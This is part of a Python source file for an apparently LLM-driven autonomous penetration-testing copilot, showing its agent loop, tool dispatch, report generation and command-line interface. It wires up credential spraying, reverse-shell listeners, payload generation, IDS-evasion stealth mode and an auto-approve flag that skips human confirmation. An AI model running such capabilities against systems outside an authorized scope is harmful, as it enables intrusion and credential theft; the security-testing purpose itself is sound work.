        - Evidence is auto-captured for every command you run.
        - Use run_recon_pipeline for automated multi-tool reconnaissance.
        - Use smart_exploit_search to parse nmap output and find ranked exploits.
        - Use credential_spray to try vault creds against all discovered services.
        - Use add_attack_step to build the kill chain / attack graph.
        - Use manage_tasks to keep your Pentest Task Tree current — the plan
          and to-do list that persists across conversation-history trimming.

        VALIDATION & ANALYSIS (use these to reduce false positives):
        - Use validate_finding to submit raw tool output to the 6-stage
          validation pipeline BEFORE reporting. Advance through stages:
          inventory → analysis → sanity_check → ruling → feasibility → validated.
          Only use report_finding for validated findings.
        - Use analyze_exploit to score validated findings by risk
          (Impact × Exploitability / Detection Time). This tells you
          which findings to exploit first (P1-IMMEDIATE through P4-LOW).
        - Use correlate_findings to feed findings from multiple tools.
          When you get results from nmap, nikto, nuclei etc., add each
          to the correlator, then run 'correlate' to deduplicate and
          boost confidence when multiple tools agree.

        RULES:
        - ONLY test targets within the defined scope
        - Use report_finding for EVERY vulnerability you confirm
        - Use store_credential for EVERY credential you discover
        - Explain what you are doing and why before each command
        - If a tool is not installed, use install_tool to install it
        - Prefer targeted, specific scans over broad noisy scans
        - After each major phase, summarize findings so far
        - If unsure about scope or permissions, use ask_user
        - Do NOT run destructive commands without user approval
        - Keep commands non-interactive (use -y, --batch, etc.)

        AVAILABLE TOOLS ON THE ATTACK BOX:
        {tool_summary}

        CREDENTIAL VAULT:
        {cred_summary}

        ACTIVE SHELLS:
        {shell_summary}

        SUBAGENTS:
        {sub_summary}

        PENTEST PROGRESS:
        {progress_summary}

        STEALTH MODE:
        {stealth_summary}

        REVERSE SHELL LISTENERS:
        {listener_summary}

        TOOL STATUS: {tool_status}

        ATTACK GRAPH (kill chain):
        {attack_summary}

        VALIDATION PIPELINE:
        {validator_summary}

        EXPLOIT ANALYSIS:
        {analyzer_summary}

        FINDING CORRELATION:
        {correlator_summary}

        FINDINGS DISCOVERED SO FAR:
        {findings_summary}

        Remember: You are a skilled pentester. Think step-by-step. Be thorough
        but efficient. Prioritize high-impact findings. Use subagents for
        parallelism. Store and reuse credentials. Search for exploits after
        discovering service versions.
    """)


# ═════════════════════════════════════════════════════════════════════════
# PentestAgent — Core Agent Loop
# ═════════════════════════════════════════════════════════════════════════

class PentestAgent:
    """AI-powered penetration testing agent."""

    def __init__(self, provider, executor, target,
                 scope="", objective="", auto_approve=False,
                 max_iterations=MAX_ITERATIONS):
        self.provider = provider
        self.executor = executor
        self.target = target
        self.scope = scope or target
        self.objective = objective or "Full penetration test"
        self.auto_approve = auto_approve
        self.max_iterations = max_iterations
        self.findings: list = []
        self.messages: list = []
        self.command_history: list = []
        self.session_id = datetime.datetime.now().strftime("pentest-%Y%m%d-%H%M%S")
        self.total_iterations = 0
        # Tier 1 features
        self.credential_vault = CredentialVault()
        self.shell_manager = ShellManager(executor)
        self.subagent_manager = SubagentManager(
            provider, executor, self.findings,
            self.credential_vault, auto_approve,
        )
        # Tier 2 features
        self.tool_detector = ToolDetector(executor)
        self.exploit_searcher = ExploitSearcher(executor)
        self.revshell_handler = ReverseShellHandler(executor)
        # Tier 3 features
        self.progress = ProgressTracker()
        self.evidence = EvidenceCollector(self.session_id)
        self.stealth = StealthController()
        # Tier 4 features
        self.recon_pipeline = ReconPipeline(executor, self.stealth)
        self.exploit_selector = SmartExploitSelector(executor)
        self.cred_spray = CredentialSprayEngine(executor, self.credential_vault)
        self.attack_graph = AttackGraph()
        # Tier 5 — Validation, Analysis & Correlation
        self.vuln_validator = VulnValidator()
        self.exploit_analyzer = ExploitAnalyzer()
        self.finding_correlator = FindingCorrelator()
        # Pentest Task Tree — externalized plan (PentestGPT-style PTT)
        self.task_tree = TaskTree()

    def run_turn(self, user_message):
        """
        Process a single user turn through the agentic loop.
        The LLM may make multiple tool calls before responding.
        """
        # Inject completed subagent results
        completed = self.subagent_manager.get_completed_results()
        if completed:
            sub_report = []
            for tid, info in completed.items():
                sub_report.append(
                    f"[Subagent {tid} completed] Task: {info['task'][:60]}\n"
                    f"Commands run: {info['commands_run']}, "
                    f"Findings: {info['findings_count']}\n"
                    f"Result: {info['result'][:500]}"
                )
            user_message += (
                "\n\n[SUBAGENT RESULTS]\n" + "\n---\n".join(sub_report)
            )

        self.messages.append({"role": "user", "content": user_message})

        system_prompt = build_system_prompt(
            self.target, self.scope, self.objective,
            self.findings, self.executor.label,
            self.credential_vault, self.shell_manager,
            self.subagent_manager, self.revshell_handler,
            self.tool_detector, self.progress, self.stealth,
            self.attack_graph, self.vuln_validator,
            self.exploit_analyzer, self.finding_correlator,
            task_tree=self.task_tree,
        )

        iteration = 0
        while iteration < self.max_iterations:
            iteration += 1
            self.total_iterations += 1

            try:
                content_blocks, stop_reason = self.provider.call(
                    self.messages, system_prompt,
                )
            except Exception as e:
                _print_error(f"LLM API error: {e}")
                break

            # Add assistant message to history
            self.messages.append(
                self.provider.format_assistant_message(content_blocks)
            )

            # Extract text and tool calls
            text = self.provider.extract_text(content_blocks)
            tool_calls = self.provider.extract_tool_calls(content_blocks)

            # Print any text response
            if text:
                _print_agent(text)

            # If no tool calls, the turn is complete
            if not tool_calls or stop_reason != "tool_use":
                break

            # Process each tool call
            for tc in tool_calls:
                result = self._handle_tool(tc["name"], tc["input"])
                self.messages.append(
                    self.provider.format_tool_result(tc["id"], result)
                )

            # Trim history if too long
            if len(self.messages) > MAX_HISTORY_MESSAGES:
                # Keep first 2 and last N messages
                keep = MAX_HISTORY_MESSAGES - 2
                self.messages = self.messages[:2] + self.messages[-keep:]

        if iteration >= self.max_iterations:
            _print_warn(f"Reached max iterations ({self.max_iterations}) for this turn")

    def _handle_tool(self, name, args):
        """Dispatch a tool call to the appropriate handler."""
        self.command_history.append({
            "tool": name,
            "args": args,
            "timestamp": datetime.datetime.now().isoformat(),
        })

        # Stealth: apply rate limiting
        if name in ("run_command", "run_script", "run_in_shell"):
            self.stealth.wait()

        # Progress tracking: count commands
        if name in ("run_command", "run_script", "run_in_shell"):
            self.progress.increment_commands()

        if name == "run_command":
            # Stealth: modify command flags if enabled
            if self.stealth.enabled and "command" in args:
                args["command"] = self.stealth.apply_stealth(args["command"])
            result = handle_run_command(
                self.executor, args, self.auto_approve,
            )
            # Evidence auto-capture
            self.evidence.capture(
                self.executor, "run_command",
                args.get("command", ""), result, 0,
            )
            return result
        elif name == "run_script":
            return handle_run_script(
                self.executor, args, self.auto_approve,
            )
        elif name == "install_tool":
            return handle_install_tool(self.executor, args)
        elif name == "read_file":
            return handle_read_file(self.executor, args)
        elif name == "write_file":
            return handle_write_file(self.executor, args)
        elif name == "report_finding":
            self.progress.increment_findings()
            return handle_report_finding(self.findings, args)
        elif name == "ask_user":
            return handle_ask_user(args)
        elif name == "spawn_subagent":
            return handle_spawn_subagent(
                self.subagent_manager, args, self.target, self.scope,
            )
        elif name == "store_credential":
            return handle_store_credential(self.credential_vault, args)
        elif name == "list_credentials":
            return handle_list_credentials(self.credential_vault)
        elif name == "open_shell":
            return handle_open_shell(self.shell_manager, args)
        elif name == "run_in_shell":
            return handle_run_in_shell(self.shell_manager, args)
        elif name == "use_playbook":
            return handle_use_playbook(args)
        elif name == "detect_tools":
            return handle_detect_tools(self.tool_detector, args)
        elif name == "search_exploits":
            return handle_search_exploits(self.exploit_searcher, args)
        elif name == "start_listener":
            return handle_start_listener(self.revshell_handler, args)
        elif name == "stop_listener":
            return handle_stop_listener(self.revshell_handler, args)
        elif name == "check_listener":
            return handle_check_listener(self.revshell_handler, args)
        elif name == "generate_payload":
            return handle_generate_payload(self.revshell_handler, args)
        elif name == "run_phalanx_scanner":
            return handle_run_phalanx_scanner(self.executor, args)
        elif name == "set_phase":
            return handle_set_phase(self.progress, args)
        elif name == "get_compliance_map":
            return handle_get_compliance_map(args)
        elif name == "toggle_stealth":
            return handle_toggle_stealth(self.stealth, args)
        elif name == "run_recon_pipeline":
            return handle_run_recon_pipeline(
                self.recon_pipeline, args, self.evidence,
            )
        elif name == "smart_exploit_search":
            return handle_smart_exploit_search(self.exploit_selector, args)
        elif name == "credential_spray":
            return handle_credential_spray(
                self.cred_spray, args, self.stealth,
            )
        elif name == "add_attack_step":
            return handle_add_attack_step(self.attack_graph, args)
        elif name == "validate_finding":
            return handle_validate_finding(self.vuln_validator, args)
        elif name == "analyze_exploit":
            return handle_analyze_exploit(self.exploit_analyzer, args)
        elif name == "correlate_findings":
            return handle_correlate_findings(
                self.finding_correlator, self.target, args,
            )
        elif name == "manage_tasks":
            return handle_manage_tasks(self.task_tree, args)
        else:
            return f"Unknown tool: {name}"

    def get_session_data(self):
        """Export session state for save/resume."""
        return {
            "session_id": self.session_id,
            "version": VERSION,
            "target": self.target,
            "scope": self.scope,
            "objective": self.objective,
            "created": self.session_id,
            "saved": datetime.datetime.now().isoformat(),
            "total_iterations": self.total_iterations,
            "findings": [f.to_dict() for f in self.findings],
            "credentials": self.credential_vault.to_list(),
            "attack_graph": self.attack_graph.to_list(),
            "task_tree": self.task_tree.to_list(),
            "command_history": self.command_history,
            "message_count": len(self.messages),
        }

    def save_session(self, path):
        """Save session to JSON file."""
        data = self.get_session_data()
        with open(path, "w", encoding="utf-8") as fh:
            json.dump(data, fh, indent=2)
        _print_status(f"Session saved to: {os.path.abspath(path)}")

    def load_findings(self, path):
        """Load findings from a previous session."""
        with open(path, "r", encoding="utf-8") as fh:
            data = json.load(fh)
        for fd in data.get("findings", []):
            f = Finding(
                title=fd["title"], severity=fd["severity"],
                category=fd["category"], description=fd["description"],
                evidence=fd.get("evidence", ""),
                recommendation=fd.get("recommendation", ""),
                cvss=fd.get("cvss", ""),
            )
            f.id = fd.get("id", f.id)
            f.timestamp = fd.get("timestamp", f.timestamp)
            self.findings.append(f)
        if data.get("task_tree"):
            self.task_tree.from_list(data["task_tree"])
            _print_status(f"Restored {len(data['task_tree'])} task(s) from session")
        _print_status(f"Loaded {len(data.get('findings', []))} findings from {path}")


# ═════════════════════════════════════════════════════════════════════════
# Report Generation
# ═════════════════════════════════════════════════════════════════════════

def generate_json_report(agent, path):
    """Generate JSON pentest report."""
    data = agent.get_session_data()
    data["report_type"] = "penetration_test"
    data["summary"] = {
        s: sum(1 for f in agent.findings if f.severity == s)
        for s in ("CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO")
    }
    with open(path, "w", encoding="utf-8") as fh:
        json.dump(data, fh, indent=2)
    _print_status(f"JSON report saved to: {os.path.abspath(path)}")


def generate_html_report(agent, path):
    """Generate self-contained HTML pentest report."""
    esc = html_mod.escape
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    sev_counts = {
        s: sum(1 for f in agent.findings if f.severity == s)
        for s in ("CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO")
    }
    sev_style = {
        "CRITICAL": "background:#c0392b;color:#fff",
        "HIGH":     "background:#e67e22;color:#fff",
        "MEDIUM":   "background:#2980b9;color:#fff",
        "LOW":      "background:#27ae60;color:#fff",
        "INFO":     "background:#7f8c8d;color:#fff",
    }

    sorted_findings = sorted(
        agent.findings,
        key=lambda f: {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4}.get(f.severity, 5),
    )

    rows = ""
    for i, f in enumerate(sorted_findings):
        bg = "#1e1e2e" if i % 2 == 0 else "#252535"
        st = sev_style.get(f.severity, "")
        rows += (
            f'<tr style="background:{bg}">'
            f'<td style="padding:12px 16px">'
            f'<span style="{st};padding:3px 10px;border-radius:10px;'
            f'font-size:0.8em;font-weight:bold">{esc(f.severity)}</span></td>'
            f'<td style="padding:12px 16px;font-weight:bold;color:#cdd6f4">'
            f'{esc(f.title)}</td>'
            f'<td style="padding:12px 16px;color:#a9b1d6">{esc(f.category)}</td>'
            f'<td style="padding:12px 16px;color:#89b4fa;font-family:monospace">'
            f'{esc(f.cvss or "N/A")}</td>'
            f'</tr>'
            f'<tr style="background:{bg}">'
            f'<td colspan="4" style="padding:8px 16px 16px">'
            f'<div style="color:#bac2de;font-size:0.88em;margin-bottom:6px">'
            f'<b>Description:</b> {esc(f.description)}</div>'
        )
        if f.evidence:
            rows += (
                f'<div style="color:#a6e3a1;font-size:0.85em;margin-bottom:6px;'
                f'font-family:monospace;background:rgba(0,0,0,0.3);padding:8px;'
                f'border-radius:6px;white-space:pre-wrap;max-height:200px;'
                f'overflow-y:auto"><b>Evidence:</b>\n{esc(f.evidence)}</div>'
            )
        if f.recommendation:
            rows += (
                f'<div style="color:#89dceb;font-size:0.88em">'
                f'<b>Fix:</b> {esc(f.recommendation)}</div>'
            )
        rows += f'</td></tr>'

    chip_html = ""
    for sev in ("CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"):
        c = sev_counts.get(sev, 0)
        st = sev_style[sev]
        chip_html += (
            f'<span style="{st};padding:4px 14px;border-radius:12px;'
            f'font-weight:bold;font-size:0.9em;margin:0 6px">'
            f'{esc(sev)}: {c}</span>'
        )

    html = textwrap.dedent(f"""\
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Penetration Test Report — {esc(agent.target)}</title>
<style>
  *{{box-sizing:border-box;margin:0;padding:0}}
  body{{font-family:'Segoe UI',Arial,sans-serif;background:#1a1b2e;color:#cdd6f4}}
  header{{background:linear-gradient(135deg,#c0392b 0%,#1a1b2e 100%);
          padding:28px 36px;border-bottom:2px solid #313244}}
  header h1{{font-size:1.7em;font-weight:700;color:#fff;margin-bottom:8px}}
  header .meta{{color:#b0c4de;font-size:0.95em;margin:3px 0}}
  .chips{{padding:20px 36px;background:#181825;border-bottom:1px solid #313244;
          display:flex;flex-wrap:wrap;gap:10px;align-items:center}}
  .container{{padding:20px 36px 40px}}
  table{{width:100%;border-collapse:collapse;font-size:0.92em}}
  th{{background:#c0392b;color:#fff;padding:12px 16px;text-align:left;
      font-weight:600;position:sticky;top:0}}
  tr:hover td{{filter:brightness(1.1)}}
  td{{vertical-align:top}}
  .empty{{text-align:center;padding:60px;color:#a6e3a1;font-size:1.2em}}
</style>
</head>
<body>
<header>
  <h1>Penetration Test Report</h1>
  <p class="meta">Target: {esc(agent.target)}</p>
  <p class="meta">Scope: {esc(agent.scope)}</p>
  <p class="meta">Objective: {esc(agent.objective)}</p>
  <p class="meta">Attack Box: {esc(agent.executor.label)}</p>
  <p class="meta">Session: {esc(agent.session_id)}</p>
  <p class="meta">Generated: {esc(now)}</p>
  <p class="meta">Commands Executed: {len(agent.command_history)}</p>
  <p class="meta">Total Findings: <strong>{len(agent.findings)}</strong></p>
</header>
<div class="chips">{chip_html}</div>
<div class="container">
""")

    if not agent.findings:
        html += '<div class="empty">No findings recorded.</div>\n'
    else:
        html += (
            '<table><thead><tr><th>Severity</th><th>Finding</th>'
            f'<th>Category</th><th>CVSS</th></tr></thead><tbody>{rows}'
            '</tbody></table>\n'
        )

    html += '</div>\n</body>\n</html>\n'

    with open(path, "w", encoding="utf-8") as fh:
        fh.write(html)
    _print_status(f"HTML report saved to: {os.path.abspath(path)}")


# ═════════════════════════════════════════════════════════════════════════
# CLI Interface
# ═════════════════════════════════════════════════════════════════════════

BANNER = f"""\
{CYN}{B}
  ╔═══════════════════════════════════════════════════════════╗
  ║   Phalanx Cyber — Pentest Copilot  v{VERSION}               ║
  ║   AI-Powered Autonomous Penetration Testing              ║
  ║   Subagents · Credential Vault · Multi-Shell · Playbooks ║
  ╚═══════════════════════════════════════════════════════════╝{R}
"""

HELP_TEXT = f"""\
  {B}Slash Commands:{R}
    {CYN}/help{R}        Show this help message
    {CYN}/target{R}      Show or change the target
    {CYN}/scope{R}       Show or change the scope
    {CYN}/tools{R}       List available pentest tools
    {CYN}/findings{R}    Show discovered findings
    {CYN}/creds{R}       Show credential vault
    {CYN}/shells{R}      Show active named shells
    {CYN}/subagents{R}   Show background subagent status
    {CYN}/playbooks{R}   List available methodology playbooks
    {CYN}/listeners{R}   Show active reverse shell listeners
    {CYN}/phalanx{R}     List available Phalanx Cyber scanners
    {CYN}/detect{R}      Scan attack box for installed tools
    {CYN}/progress{R}    Show pentest phase progress
    {CYN}/evidence{R}    Show evidence capture summary
    {CYN}/stealth{R}     Toggle stealth mode on/off
    {CYN}/attack{R}      Show attack graph / kill chain
    {CYN}/tasks{R}       Show the Pentest Task Tree (the plan)
    {CYN}/history{R}     Show command history
    {CYN}/save{R}        Save session to JSON
    {CYN}/report{R}      Generate pentest report (JSON + HTML)
    {CYN}/clear{R}       Clear conversation history
    {CYN}/quit{R}        Exit the copilot

  {B}Tips:{R}
    - "Use the webapp playbook to pentest http://10.0.0.1"
    - "Spawn a subagent to brute-force directories while I scan ports"
    - "Store the SSH credentials we found and try them on other hosts"
    - "Open a 'listener' shell and start a netcat listener on port 4444"
"""


def run_cli(agent):
    """Run the interactive CLI loop."""
    print(BANNER)
    print(f"  {B}Target{R}  : {agent.target}")
    print(f"  {B}Scope{R}   : {agent.scope}")
    print(f"  {B}Attack{R}  : {agent.executor.label}")
    print(f"  {B}Session{R} : {agent.session_id}")
    print(f"  {DIM}Type /help for available commands{R}\n")

    while True:
        try:
            user_input = input(f"{GRN}{B}You:{R} ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            break

        if not user_input:
            continue

        # ── Slash commands ─────────────────────────────────────────
        if user_input.startswith("/"):
            cmd = user_input.lower().split()[0]

            if cmd == "/help":
                print(HELP_TEXT)

            elif cmd == "/quit" or cmd == "/exit":
                print(f"  {DIM}Goodbye.{R}")
                break

            elif cmd == "/target":
                parts = user_input.split(maxsplit=1)
                if len(parts) > 1:
                    agent.target = parts[1]
                    _print_status(f"Target changed to: {agent.target}")
                else:
                    print(f"  Target: {agent.target}")

            elif cmd == "/scope":
                parts = user_input.split(maxsplit=1)
                if len(parts) > 1:
                    agent.scope = parts[1]
                    _print_status(f"Scope changed to: {agent.scope}")
                else:
                    print(f"  Scope: {agent.scope}")

            elif cmd == "/tools":
                print(f"\n  {B}Available Pentest Tools:{R}")
                for cat, tools in TOOL_REGISTRY.items():
                    print(f"\n  {CYN}{cat}{R}")
                    for name, desc in tools:
                        print(f"    {WHT}{name:<16}{R} {DIM}{desc}{R}")
                print()

            elif cmd == "/findings":
                if not agent.findings:
                    print(f"  {DIM}No findings yet.{R}")
                else:
                    print(f"\n  {B}Findings ({len(agent.findings)}):{R}")
                    for f in agent.findings:
                        sc = SEV_COLOR.get(f.severity, WHT)
                        print(
                            f"  {sc}[{f.severity}]{R}  {f.title}  "
                            f"{DIM}({f.category}){R}"
                        )
                    print()

            elif cmd == "/history":
                if not agent.command_history:
                    print(f"  {DIM}No commands executed yet.{R}")
                else:
                    print(f"\n  {B}Command History ({len(agent.command_history)}):{R}")
                    for i, h in enumerate(agent.command_history[-20:], 1):
                        tool = h.get("tool", "?")
                        if tool == "run_command":
                            detail = h.get("args", {}).get("command", "")
                        else:
                            detail = h.get("tool", "")
                        print(f"  {DIM}{i:3d}.{R} [{tool}] {detail[:80]}")
                    print()

            elif cmd == "/save":
                parts = user_input.split(maxsplit=1)
                path = parts[1] if len(parts) > 1 else f"{agent.session_id}.json"
                agent.save_session(path)

            elif cmd == "/report":
                parts = user_input.split(maxsplit=1)
                base = parts[1] if len(parts) > 1 else agent.session_id
                generate_json_report(agent, f"{base}_report.json")
                generate_html_report(agent, f"{base}_report.html")

            elif cmd == "/creds":
                creds = agent.credential_vault.list_all()
                if not creds:
                    print(f"  {DIM}Credential vault is empty.{R}")
                else:
                    print(f"\n  {B}Credential Vault ({len(creds)}):{R}")
                    for c in creds:
                        masked = c["secret"][:3] + "***" if len(c["secret"]) > 3 else "***"
                        print(
                            f"  {YEL}[{c['type']}]{R}  {c['username']}:{masked}"
                            f"  {DIM}@ {c['target'] or 'any'}"
                            f" (via {c['source'] or '?'}, "
                            f"used {c['used_count']}x){R}"
                        )
                    print()

            elif cmd == "/shells":
                shells = agent.shell_manager.list_shells()
                if not shells:
                    print(f"  {DIM}No named shells open.{R}")
                else:
                    print(f"\n  {B}Active Shells ({len(shells)}):{R}")
                    for name, info in shells.items():
                        print(
                            f"  {GRN}[{name}]{R}  "
                            f"cmds: {info['command_count']}  "
                            f"{DIM}(opened: {info['created'][:19]}){R}"
                        )
                    print()

            elif cmd == "/subagents":
                tasks = agent.subagent_manager.get_status()
                if not tasks:
                    print(f"  {DIM}No subagents.{R}")
                else:
                    print(f"\n  {B}Subagents ({len(tasks)}):{R}")
                    for tid, info in tasks.items():
                        status_color = (
                            GRN if info["status"] == "completed"
                            else YEL if info["status"] == "running"
                            else RED if info["status"] == "error"
                            else DIM
                        )
                        print(
                            f"  {status_color}[{info['status']}]{R}  "
                            f"{BLU}{tid}{R}  {info['task'][:50]}  "
                            f"{DIM}(cmds: {info['commands_run']}, "
                            f"findings: {info['findings_count']}){R}"
                        )
                    print()

            elif cmd == "/playbooks":
                print(f"\n  {B}Available Playbooks:{R}")
                for key, pb in PLAYBOOKS.items():
                    print(f"  {CYN}{key:<10}{R}  {pb['name']}")
                print(f"\n  {DIM}Usage: Tell the agent 'use the webapp playbook'{R}\n")

            elif cmd == "/listeners":
                listeners = agent.revshell_handler.list_listeners()
                if not listeners:
                    print(f"  {DIM}No active listeners.{R}")
                else:
                    print(f"\n  {B}Reverse Shell Listeners ({len(listeners)}):{R}")
                    for name, info in listeners.items():
                        print(
                            f"  {GRN}[{name}]{R}  "
                            f"{info['proto'].upper()}:{info['port']}  "
                            f"PID:{info['pid']}  "
                            f"{DIM}(started: {info['started'][:19]}){R}"
                        )
                    print()

            elif cmd == "/phalanx":
                print(f"\n  {B}Phalanx Cyber Scanners:{R}")
                for key, sc in PHALANX_SCANNERS.items():
                    print(f"  {CYN}{key:<16}{R}  {sc['name']}")
                    print(f"  {DIM}{'':16}  {sc['description'][:70]}{R}")
                print(f"\n  {DIM}Usage: Tell the agent 'run the sast_java scanner on /path/to/code'{R}\n")

            elif cmd == "/detect":
                _print_status("Scanning attack box for installed tools...")
                results = agent.tool_detector.scan_all()
                installed = [t for t, v in results.items() if v]
                missing = [t for t, v in results.items() if not v]
                print(f"  {GRN}Installed ({len(installed)}):{R}")
                for t in sorted(installed):
                    print(f"    {GRN}+{R} {t}")
                if missing:
                    print(f"  {RED}Missing ({len(missing)}):{R}")
                    for t in sorted(missing):
                        print(f"    {RED}-{R} {t}")
                print()

            elif cmd == "/progress":
                print(f"\n  {B}Pentest Progress:{R}")
                print(agent.progress.display())
                phases = agent.progress.to_dict()
                for pid, info in phases.items():
                    if info["status"] != "pending":
                        print(
                            f"    {info['name']}: {info['status']} "
                            f"(cmds: {info['commands']}, findings: {info['findings']})"
                        )
                print()

            elif cmd == "/evidence":
                log = agent.evidence.get_log()
                print(f"\n  {B}Evidence: {agent.evidence.summary()}{R}")
                for entry in log[-10:]:
                    print(
                        f"  {DIM}#{entry['index']} [{entry['tool']}] "
                        f"{entry['command'][:50]}{R}"
                    )
                print()

            elif cmd == "/stealth":
                agent.stealth.enabled = not agent.stealth.enabled
                status = "ON" if agent.stealth.enabled else "OFF"
                _print_status(f"Stealth mode: {status}")
                if agent.stealth.enabled:
                    tips = agent.stealth.get_stealth_tips()
                    for k, v in tips.items():
                        print(f"  {DIM}  {k}: {v}{R}")

            elif cmd == "/attack":
                print(f"\n  {B}Attack Graph / Kill Chain:{R}")
                print(agent.attack_graph.display())
                path = agent.attack_graph.get_path()
                if path:
                    stages = set(n["stage_name"] for n in path)
                    print(f"\n  {DIM}{len(path)} steps across {len(stages)} stages{R}")
                print()

            elif cmd == "/tasks":
                print(f"\n  {B}Pentest Task Tree:{R}")
                print(agent.task_tree.display())
                c = agent.task_tree.counts()
                print(f"\n  {DIM}{c['done']} done · {c['in_progress']} in-progress · "
                      f"{c['todo']} todo · {c['blocked']} blocked · {c['skipped']} skipped{R}\n")

            elif cmd == "/clear":
                agent.messages.clear()
                _print_status("Conversation history cleared "
                              f"{DIM}(task tree preserved){R}")

            else:
                _print_warn(f"Unknown command: {cmd}. Type /help for options.")

            continue

        # ── Regular message → agent turn ───────────────────────────
        try:
            agent.run_turn(user_input)
        except KeyboardInterrupt:
            print(f"\n  {YEL}[Interrupted]{R}")
        except Exception as e:
            _print_error(f"Agent error: {e}")
            if os.environ.get("DEBUG"):
                traceback.print_exc()


# ═════════════════════════════════════════════════════════════════════════
# CLI Entry Point
# ═════════════════════════════════════════════════════════════════════════

def main():
    parser = argparse.ArgumentParser(
        prog="pentest_copilot",
        description=(
            f"Phalanx Cyber — Autonomous Pentest Copilot v{VERSION}\n"
            "AI-powered penetration testing agent with SSH-based "
            "execution on Kali/Parrot attack boxes."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent("""\
            Examples:
              # SSH to remote Kali box (Claude)
              python pentest_copilot.py --target 10.0.0.1 \\
                  --ssh-host kali.local --ssh-user root --ssh-key ~/.ssh/id_rsa

              # Local mode (run on this machine)
              python pentest_copilot.py --target 10.0.0.1 --local

              # Use OpenAI GPT-4o
              python pentest_copilot.py --target 10.0.0.1 --local \\
                  --provider openai --model gpt-4o

              # OpenAI-compatible endpoint (Ollama, vLLM)
              python pentest_copilot.py --target 10.0.0.1 --local \\
                  --provider openai --model llama3 \\
                  --base-url http://localhost:11434/v1

            Environment variables:
              ANTHROPIC_API_KEY    — API key for Claude
              OPENAI_API_KEY       — API key for OpenAI
        """),
    )

    # Target
    parser.add_argument(
        "--target", "-t", required=True,
        help="Target IP, hostname, or URL to pentest",
    )
    parser.add_argument(
        "--scope", "-s",
        help="Scope definition (default: same as target)",
    )
    parser.add_argument(
        "--objective", "-o",
        help="Pentest objective (default: 'Full penetration test')",
    )

    # Execution mode
    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument(
        "--local", action="store_true",
        help="Run commands on this machine (local mode)",
    )
    mode.add_argument(
        "--ssh-host",
        help="SSH hostname of the attack box (e.g., kali.local)",
    )

    # SSH options
    parser.add_argument("--ssh-port", type=int, default=22,
                        help="SSH port (default: 22)")
    parser.add_argument("--ssh-user", default="root",
                        help="SSH username (default: root)")
    parser.add_argument("--ssh-key",
                        help="SSH private key path")
    parser.add_argument("--ssh-password",
                        help="SSH password (prompted if not provided)")

    # LLM options
    parser.add_argument(
        "--provider", default="claude",
        choices=["claude", "openai"],
        help="LLM provider (default: claude)",
    )
    parser.add_argument(
        "--model",
        help="LLM model name (default: claude-sonnet-4-20250514 or gpt-4o)",
    )
    parser.add_argument(
        "--api-key",
        help="API key (or use env vars ANTHROPIC_API_KEY / OPENAI_API_KEY)",
    )
    parser.add_argument(
        "--base-url",
        help="Base URL for OpenAI-compatible endpoints (e.g., Ollama)",
    )

    # Agent options
    parser.add_argument(
        "--auto-approve", action="store_true",
        help="Auto-approve dangerous commands (use with caution)",
    )
    parser.add_argument(
        "--stealth", action="store_true",
        help="Enable stealth mode (rate limiting + IDS evasion flags)",
    )
    parser.add_argument(
        "--stealth-delay", type=float, default=2.0,
        help="Stealth mode delay in seconds (default: 2.0)",
    )
    parser.add_argument(
        "--max-iterations", type=int, default=MAX_ITERATIONS,
        help=f"Max tool-call iterations per turn (default: {MAX_ITERATIONS})",
    )
    parser.add_argument(
        "--load-session",
        help="Load findings from a previous session JSON file",
    )

    parser.add_argument(
        "--version", action="version",
        version=f"pentest_copilot v{VERSION}",
    )

    args = parser.parse_args()

    # ── Build executor ────────────────────────────────────────────
    if args.local:
        executor = LocalExecutor()
    else:
        ssh_password = args.ssh_password
        if not args.ssh_key and not ssh_password:
            ssh_password = getpass.getpass(
                f"SSH password for {args.ssh_user}@{args.ssh_host}: "
            )
        executor = SSHExecutor(
            host=args.ssh_host, port=args.ssh_port,
            user=args.ssh_user, password=ssh_password,
            key_path=args.ssh_key,
        )

    # ── Build LLM provider ───────────────────────────────────────
    if args.provider == "claude":
        model = args.model or "claude-sonnet-4-20250514"
        provider = ClaudeProvider(api_key=args.api_key, model=model)
    else:
        model = args.model or "gpt-4o"
        provider = OpenAIProvider(
            api_key=args.api_key, model=model,
            base_url=args.base_url,
        )

    # ── Build agent ──────────────────────────────────────────────
    max_iter = args.max_iterations

    agent = PentestAgent(
        provider=provider,
        executor=executor,
        target=args.target,
        scope=args.scope,
        objective=args.objective,
        auto_approve=args.auto_approve,
        max_iterations=max_iter,
    )

    # ── Stealth mode ─────────────────────────────────────────────
    if args.stealth:
        agent.stealth.enabled = True
        agent.stealth.delay = args.stealth_delay
        _print_status(f"Stealth mode enabled (delay: {args.stealth_delay}s)")

    # ── Load previous session ────────────────────────────────────
    if args.load_session:
        try:
            agent.load_findings(args.load_session)
        except Exception as e:
            _print_error(f"Failed to load session: {e}")

    # ── Connect and run ──────────────────────────────────────────
    try:
        executor.connect()
    except Exception as e:
        _print_error(f"Connection failed: {e}")
        sys.exit(2)

    try:
        run_cli(agent)
    finally:
        executor.disconnect()


if __name__ == "__main__":
    main()